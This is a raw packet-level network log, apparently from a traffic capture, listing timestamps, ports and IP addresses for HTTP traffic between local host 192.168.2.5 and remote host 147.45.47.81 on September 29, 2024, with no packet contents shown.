Sep 29, 2024 09:44:14.355492115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355529070 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355567932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355586052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355609894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355623960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355638027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355654955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355674028 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355679035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355700016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355715036 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355717897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355741978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355752945 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355758905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355782986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355797052 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355803013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355823994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355839014 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355845928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355865955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355881929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355887890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355923891 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355947971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355961084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355988979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355999947 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356086016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356102943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356120110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356126070 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356148958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356161118 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356169939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356189966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356205940 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356209993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356230021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356245995 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356250048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356267929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356288910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356291056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356328964 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356458902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356478930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356496096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356513977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356520891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356542110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356555939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356561899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356580019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356599092 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356604099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356625080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356641054 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356642962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356667995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356678009 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356686115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356709003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356720924 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356726885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356750011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356760979 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356772900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356810093 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356883049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356900930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356925011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356936932 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356945038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356966019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.356981039 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.356982946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357008934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357018948 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357038021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357054949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357074976 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357078075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357105017 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357112885 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357124090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357146978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357157946 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357167006 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357187033 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357202053 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357208014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357223988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357242107 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357250929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357271910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357284069 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357285976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357312918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357326984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357330084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357358932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357364893 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357379913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357398033 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357414961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357423067 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357440948 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357459068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357465029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357486010 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357501984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357505083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357527018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357541084 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357543945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357568979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357578993 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357589960 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357609987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357625008 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357631922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357669115 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357861042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357904911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357928038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357943058 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357948065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357966900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.357985973 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.357990026 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358019114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358026981 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358037949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358062983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358072042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358091116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358112097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358125925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358133078 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358153105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358169079 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358174086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358194113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358207941 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358211994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358236074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358247042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358253956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358278036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358289957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358297110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358319044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358330965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358335018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358359098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358374119 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358376026 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358400106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358411074 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358417988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358442068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358453035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358462095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358483076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358495951 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358501911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358522892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358537912 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358544111 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358563900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358577967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358587027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358608007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358623981 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358629942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358664989 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358829021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358850002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358870983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358886957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358891964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358911991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358927965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358933926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358954906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.358972073 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.358983040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359004021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359018087 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359040976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359061956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359076977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359085083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359103918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359121084 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359124899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359144926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359159946 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359165907 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359185934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359203100 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359209061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359230042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359246969 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359246969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359276056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359287024 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359294891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359318018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359329939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359338999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359359026 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359375000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359380007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359414101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359421015 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359432936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359455109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359472036 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359476089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359497070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359515905 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359517097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359534979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359553099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359560966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359581947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359597921 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359603882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359622002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359639883 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359651089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359667063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359678984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359702110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359705925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359734058 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359793901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359812021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359833956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359836102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359853983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359872103 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359877110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359898090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359915972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359916925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359940052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359951019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.359966993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.359987974 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360003948 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360008955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360023975 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360049009 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360059023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360084057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360099077 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360100985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360125065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360137939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360142946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360167980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360178947 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360186100 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360209942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360222101 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360227108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360250950 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360263109 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360270023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360292912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360304117 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360311031 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360335112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360346079 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360354900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360377073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360392094 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360398054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360419989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360435963 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360440016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360462904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360474110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360481024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360507011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360511065 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360523939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360560894 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360785007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360804081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360826969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360841990 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360850096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360868931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360887051 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360887051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360912085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360924006 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360932112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360964060 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.360965014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.360984087 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361006975 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361018896 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.361027956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361044884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361066103 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.361068010 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361088991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361104965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.361109972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361130953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361145973 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.361151934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361174107 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.361191034 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.398207903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398262024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398313046 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.398330927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398380995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398396015 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.398427010 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398472071 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.398473024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398519993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398561954 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.398561954 CEST	49706	80	192.168.2.5	147.45.47.81
